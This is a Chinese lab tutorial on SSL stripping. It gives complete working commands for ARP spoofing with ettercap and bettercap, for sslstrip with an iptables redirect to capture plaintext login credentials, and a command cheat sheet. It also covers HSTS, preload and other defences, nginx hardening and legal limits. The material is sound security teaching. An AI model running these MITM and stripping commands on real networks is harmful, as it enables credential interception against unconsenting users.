一次真实的 SSL 剥离攻击：为什么 HTTPS 也会翻车
文章目录
- 一、HTTPS 也会翻车？先打破两个误区
- 二、SSL 剥离原理（动画级）
- 2.1 正常 HTTPS 访问
- 2.2 剥离后：用户走 HTTP，攻击者走 HTTPS
- 2.3 与「伪造证书 MITM」的区别
- 三、攻击链前置条件
- 四、实验环境
- 4.1 拓扑（专栏标准 Host-Only）
- 4.2 Web 靶站：故意留「可被剥离」的配置
- 4.3 Kali hosts
- 4.4 打快照
- 五、阶段一：ARP MITM + 流量转发
- 六、阶段二：sslstrip 经典复现
- 6.1 安装
- 6.2 启动 sslstrip
- 6.3 受害机操作
- 6.4 观察结果
- 6.5 sslstrip 做了什么？（抓包对照）
- 七、阶段三：用户输入「不带 https」的场景
- 八、为什么 HSTS 是「杀手锏」防御？
- 8.1 HSTS 如何阻断剥离
- 8.2 实验对比：开启 HSTS
- 8.3 首次访问窗口（Chicken-and-Egg）
- 九、其他防御措施
- 9.1 安全表单示例
- 十、现代浏览器下的「还能不能剥离」？
- 十一、Wireshark 验证剥离链路
- 11.1 过滤器
- 11.2 预期现象
- 11.3 对照表
- 十二、完整实验步骤清单（120 分钟）
- 十三、常见踩坑
- 十四、法律与伦理
- 十五、攻击链总复盘
- 十六、本篇小结
- 附录 A：命令速查
- 附录 B：nginx 加固片段
- 附录 C：与专栏前篇关联
定位：网络基础与协议安全篇 · 把「小锁图标」背后的降级链路拆给你看
阅读对象：安全入门者、Web 开发/运维、渗透与蓝队初学者
声明：SSL 剥离实验仅限自有隔离靶场（Host-Only）；对公网或未授权用户实施降级攻击违法。
一、HTTPS 也会翻车？先打破两个误区
误区 A：「地址栏有小锁 = 绝对安全」 误区 B：「用了 TLS 1.3，中间人就拿不到密码」SSL 剥离（SSL Stripping）攻击的不是「破解 TLS」，而是让用户根本不走 HTTPS：
用户以为： https://bank.lab/login → 加密传输 实际发生： http://bank.lab/login → 明文传输（攻击者 MITM 中转）| 攻击点 | 说明 |
|---|---|
| 协议降级 | 把 HTTPS 请求改成 HTTP 发给用户 |
| 依赖 MITM | 需 ARP 欺骗等把流量引到攻击机 |
| 利用用户习惯 | 输入bank.lab不带https:// |
| 利用首次访问 | HSTS 未缓存时仍可被剥离 |
| 利用页面链接 | 站内http://链接、302 降到 HTTP |
上一篇 TLS 1.3 再强，也挡不住「客户端从未发起 TLS 握手」。本文在靶场完整复现 sslstrip，并讲清防御。
二、SSL 剥离原理（动画级）
2.1 正常 HTTPS 访问
用户浏览器 真实服务器 │ │ │──── TCP 443 ──────────────────────►│ │──── TLS ClientHello ──────────────►│ │◄─── TLS ServerHello + 证书 ────────│ │════ 加密 HTTP（登录表单）══════════►│2.2 剥离后：用户走 HTTP，攻击者走 HTTPS
用户浏览器 攻击者 Kali 真实服务器 │ │ │ │── GET http://bank.lab/login ──────────────►│ ① 用户只发 HTTP │ │── GET https://bank.lab/login ──►│ ② 攻击者替用户走 HTTPS │ │◄── 200 HTML ────────────────────│ │◄── 200 HTML（改写链接 http://）────────────│ ③ 返回改写后的页面 │── POST http://... user=xx&pass=yy ────────►│ ④ 用户提交明文！ │ │── POST https://... ────────────►│ ⑤ 攻击者可选转发关键机制：
- 用户第一次访问常用HTTP或点击http://链接
- MITM拦截 443 连接尝试或把页面里 https 链接改成 http
- 用户与攻击者之间全程明文
- 攻击者与真实站之间仍可 HTTPS（用户无感知）
2.3 与「伪造证书 MITM」的区别
| 方式 | 用户地址栏 | 用户是否看到证书警告 |
|---|---|---|
| Burp 证书 MITM | 常显示 https + 锁（信任 Burp CA） | 未导入 CA 时有警告 |
| SSL 剥离 | 显示http，无锁 | 无证书环节 |
| HSTS 生效后 | 浏览器强制 https | 剥离难度大增 |
剥离更「阴险」：用户看到的是不起眼的 HTTP，警惕性更低。
三、攻击链前置条件
① 网络 MITM（ARP 欺骗 / 恶意网关 / 恶意 WiFi） ↓ ② 流量转发开启（net.ipv4.ip_forward=1） ↓ ③ 剥离工具（sslstrip / bettercap hstshijack） ↓ ④ 诱导 HTTP 入口（用户输入无 scheme 的 URL、站内 http 链接） ↓ ⑤ 明文截获 Cookie / 密码没有 MITM，sslstrip 单独跑没有意义——必须先把受害机流量引到 Kali。
四、实验环境
4.1 拓扑（专栏标准 Host-Only）
网关（可选） 192.168.56.1 Kali 攻击机 192.168.56.10 受害机 Ubuntu 192.168.56.30 Web 靶站 192.168.56.30:80 + :443 网段 192.168.56.0/244.2 Web 靶站：故意留「可被剥离」的配置
模拟老旧站点：HTTP 可访问 + HTTPS 可选 + 无 HSTS
# 受害机 192.168.56.30sudoaptinstall-ynginx opensslsudoopenssl req-x509-nodes-days365-newkeyrsa:2048\-keyout/etc/ssl/private/lab.key\-out/etc/ssl/certs/lab.crt\-subj"/CN=bank.lab"sudotee/etc/nginx/sites-available/bank.lab<<'EOF' server { listen 80; server_name bank.lab; root /var/www/bank; } server { listen 443 ssl; server_name bank.lab; ssl_certificate /etc/ssl/certs/lab.crt; ssl_certificate_key /etc/ssl/private/lab.key; root /var/www/bank; } EOFsudomkdir-p/var/www/banksudotee/var/www/bank/login.html<<'EOF' <!DOCTYPE html> <html> <head><title>Bank Login</title></head> <body> <h1>Secure Bank (Lab)</h1> <!-- 故意混用 http 链接，便于演示剥离 --> <p><a href="http://bank.lab/login.html">Login via HTTP</a></p> <form action="http://bank.lab/do_login" method="POST"> User: <input name="user"><br> Pass: <input name="pass" type="password"><br> <input type="submit" value="Login"> </form> </body> </html> EOFsudoln-sf/etc/nginx/sites-available/bank.lab /etc/nginx/sites-enabled/echo"192.168.56.30 bank.lab"|sudotee-a/etc/hosts# 受害机 hostssudonginx-t&&sudosystemctl reload nginx受害机 hosts：
echo"192.168.56.30 bank.lab"|sudotee-a/etc/hosts注意：先不要配置 HSTS，才能观察剥离；实验后半段再加 HSTS 对比。
4.3 Kali hosts
echo"192.168.56.30 bank.lab"|sudotee-a/etc/hosts4.4 打快照
victim-bank-clean/kali-clean
五、阶段一：ARP MITM + 流量转发
# Kalisudosysctl-wnet.ipv4.ip_forward=1# 双向 ARP 欺骗（网关按你环境改，无网关可只骗受害机）sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//验证受害机流量经 Kali：
sudotcpdump-ieth1host192.168.56.30-c20受害机浏览器访问http://bank.lab/login.html，Kali 应能看到 HTTP 包。
六、阶段二：sslstrip 经典复现
6.1 安装
# Kali 通常自带whichsslstripsudoaptinstall-ysslstrip# 若无6.2 启动 sslstrip
终端 1 — sslstrip（监听 8080，写日志）：
sudosslstrip-l8080-w/tmp/sslstrip.log终端 2 — iptables 把 80 流量重定向到 8080：
# 对「经 Kali 转发的」目标 80 端口做 REDIRECTsudoiptables-tnat-APREROUTING-ptcp --destination-port80-jREDIRECT --to-port8080说明：sslstrip 作为透明 HTTP 代理，改写 HTML 中的https://为http://，并对用户发起的 HTTPS 尝试做剥离处理。
6.3 受害机操作
1. 打开浏览器（清除 HSTS：Chrome chrome://net-internals/#hsts 删除 bank.lab） 2. 地址栏输入：http://bank.lab/login.html （或只输入 bank.lab 选 HTTP） 3. 填写 user=alice pass=Secret123 提交6.4 观察结果
sslstrip 日志：
sudotail-f/tmp/sslstrip.log应记录 POST 字段等明文。
Wireshark（Kali eth1）：
过滤器：ip.addr == 192.168.56.30 && http Follow HTTP Stream → 看到 POST pass=Secret123对比：受害机地址栏是否为http://bank.lab/...（无锁）。
6.5 sslstrip 做了什么？（抓包对照）
| 步骤 | 现象 |
|---|---|
页面中的https://链接 | 被改成http:// |
| 用户点击「安全登录」若本是 https | 可能仍被降级 |
| 攻击者访问上游 | curl -k https://bank.lab拉真实内容 |
七、阶段三：用户输入「不带 https」的场景
许多用户输入bank.lab时，浏览器默认策略：
· 现代浏览器可能先查 HSTS / HTTPS First · 无 HSTS 时，可能默认 http://bank.lab · 攻击者 MITM 可拦截 301/302 到 https 的跳转实验：
受害机地址栏只输入 bank.lab（不选 https） 观察是否落到 http 页面并成功剥离Bettercap 补充（可选）：
sudobettercap-ifaceeth1# 在 bettercap 交互界面net.probe onsetarp.spoof.targets192.168.56.30 arp.spoof onsetnet.sniff.localtruenet.sniff onsethttp.proxy.sslstriptruehttp.proxy onBettercap 把 ARP + sslstrip 集成，适合快速演示。
八、为什么 HSTS 是「杀手锏」防御？
8.1 HSTS 如何阻断剥离
服务器返回：
Strict-Transport-Security: max-age=31536000; includeSubDomains浏览器行为：
· 记住 bank.lab 必须用 HTTPS · 自动把 http://bank.lab 升级为 https://bank.lab · 拒绝用户「继续用 HTTP」 · sslstrip 改写的 http 链接仍可能被浏览器强制升 HTTPS（在 HSTS 有效期内）8.2 实验对比：开启 HSTS
# 443 server 块添加 add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;sudonginx-t&&sudosystemctl reload nginx步骤：
1. 受害机先用 HTTPS 访问一次 https://bank.lab（让 HSTS 入库） 2. 清除 sslstrip 外再测：直接输入 bank.lab 3. 观察是否自动跳 https，sslstrip 日志是否变少/失效| 状态 | sslstrip 效果 |
|---|---|
| 从未 HTTPS 访问过 | 仍危险（首次访问窗口） |
| HSTS 已缓存 | 大幅失效 |
| HSTS Preload 列表 | 首次安装浏览器也有保护 |
8.3 首次访问窗口（Chicken-and-Egg）
用户一辈子第一次访问 bank.lab → 尚无 HSTS → 仍可能 http 或被 MITM 剥离 → 需要 HSTS Preload 或用户书签写死 https://查 Preload：https://hstspreload.org/
九、其他防御措施
| 层级 | 措施 | 说明 |
|---|---|---|
| 站点 | 全站 HTTPS + 301 | 80 永久跳 443 |
| 站点 | HSTS + preload | 消灭首次降级窗口（需审核） |
| 页面 | 禁止 http 链接 | 表单 action、CDN 全 https |
| Cookie | Secure 标志 | 明文 HTTP 不带 Cookie，减劫持 |
| 用户 | HTTPS-Only 扩展 | 浏览器插件强制 https |
| 网络 | DNSSEC + 可信 DNS | 减 DNS 劫持到 MITM |
| 企业 | VPN / 802.1X | 减开放 WiFi MITM |
| 蓝队 | 检测 ARP 异常 | 剥离前提往往是 MITM |
9.1 安全表单示例
<!-- 错误：可被剥离 --><formaction="http://bank.lab/do_login"method="POST"><!-- 正确 --><formaction="https://bank.lab/do_login"method="POST">配合Content-Security-Policy: upgrade-insecure-requests可自动升 HTTP 子资源。
十、现代浏览器下的「还能不能剥离」？
| 因素 | 影响 |
|---|---|
| ChromeHTTPS-First | 默认尝试 https，剥离难度↑ |
| HSTS 普及 | 大站基本免疫经典 sslstrip |
| 混合内容阻断 | HTTPS 页中的 http 资源被拦 |
| 移动端 App | 证书固定（Pinning）可防代理 MITM |
| 老旧内网、IoT、测试站 | 仍大量存在 HTTP 入口 |
渗透报告话术：
「目标未部署 HSTS，在内网 MITM 条件下可演示 SSL 剥离，获取明文凭据；建议启用 HSTS、关闭 80 明文。」
十一、Wireshark 验证剥离链路
11.1 过滤器
ip.addr == 192.168.56.30 && (http || tls)11.2 预期现象
受害机 ↔ Kali：大量 TCP 80 + HTTP 明文 POST Kali ↔ 真实站：TCP 443 + TLS（攻击者上游加密）不会看到受害机发出的 TLS ClientHello（若剥离成功）。
11.3 对照表
| 流量段 | 协议 | 内容可见性 |
|---|---|---|
| 用户 → Kali | HTTP | 明文 |
| Kali → 服务器 | HTTPS | 需 Kali 本机 KEYLOG 才解 |
十二、完整实验步骤清单（120 分钟）
□ 1. 部署 bank.lab，HTTP+HTTPS，表单故意用 http:// □ 2. 受害机 / Kali 配置 hosts □ 3. Kali 开启 ip_forward + ARP 欺骗 □ 4. 启动 sslstrip + iptables 80→8080 □ 5. 受害机 http 访问登录页，提交凭据 □ 6. 检查 /tmp/sslstrip.log 与 Wireshark 明文 POST □ 7. 截图地址栏（http 无锁） □ 8. nginx 开启 HSTS，HTTPS 访问一次 □ 9. 重复测试，记录 sslstrip 是否失效 □ 10. 清理 iptables：sudo iptables -t nat -F □ 11. 写报告：原理图 + 日志 + HSTS 对比 + 修复建议十三、常见踩坑
| 问题 | 原因 | 解决 |
|---|---|---|
| sslstrip 无日志 | iptables 未 REDIRECT | 检查 PREROUTING 规则 |
| 受害机断网 | 未 ip_forward | sysctl -w net.ipv4.ip_forward=1 |
| 仍跳 https | 浏览器 HSTS 缓存 | chrome://net-internals/#hsts 删除域名 |
| ettercap 与 iptables 冲突 | 规则顺序 | 先 ARP 再 sslstrip |
| 本机测 Kali | 流量未过 Kali | 必须受害机经 MITM |
| Bettercap 无效 | 未 arp.spoof | 先 poison 再 http.proxy |
| 实验后无法上网 | iptables 残留 | sudo iptables -t nat -F |
十四、法律与伦理
✅ 允许：自有 VM 靶场、书面授权渗透项目中的降级演示 ❌ 禁止：咖啡厅/公司网 WiFi 对用户做 sslstrip ❌ 禁止：窃取真实账号密码SSL 剥离是经典安全教育演示，不是未授权攻击的借口。
十五、攻击链总复盘
ARP 欺骗（二层 MITM） └─► DNS 欺骗（可选，导向钓鱼 IP） └─► SSL 剥离（协议降级） └─► 明文嗅探 / 会话劫持 └─► 凭据重用、内网横向与 TLS 1.3 的关系：剥离让 TLS 根本不被调用；与 Burp MITM 的关系：剥离无需用户信任额外 CA。
十六、本篇小结
┌─────────────────────────────────────────────────────────────┐ │ SSL 剥离 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ 不破解 TLS，而是让用户用 HTTP │ │ 前提：MITM + 用户从 HTTP 或无前缀 URL 进入 │ │ 工具：sslstrip + iptables 80→8080；或 bettercap │ │ 防御：HSTS（+preload）、全站 HTTPS、Secure Cookie │ │ 首次访问无 HSTS 仍是弱点 │ └─────────────────────────────────────────────────────────────┘下一篇预告：《邮件安全实战：SPF/DKIM/DMARC 配置与钓鱼绕过》——从 Web 降级转到邮件身份伪造与检测。
附录 A：命令速查
# 转发sudosysctl-wnet.ipv4.ip_forward=1# ARP 欺骗sudoettercap-T-q-ieth1-Marp:remote /192.168.56.1// /192.168.56.30//# sslstripsudosslstrip-l8080-w/tmp/sslstrip.logsudoiptables-tnat-APREROUTING-ptcp --destination-port80-jREDIRECT --to-port8080# 清理sudoiptables-tnat-Fsudopkillsslstrip附录 B：nginx 加固片段
server { listen 80; server_name bank.lab; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name bank.lab; add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; add_header Content-Security-Policy "upgrade-insecure-requests" always; # ssl_certificate ... }附录 C：与专栏前篇关联
| 前篇 | 关联 |
|---|---|
| ARP 欺骗 | MITM 前置 |
| HTTP/HTTPS | 明文 vs 加密、证书陷阱 |
| TLS 1.3 | 剥离绕过 TLS 握手 |
| Wireshark | 验证用户侧仅 HTTP |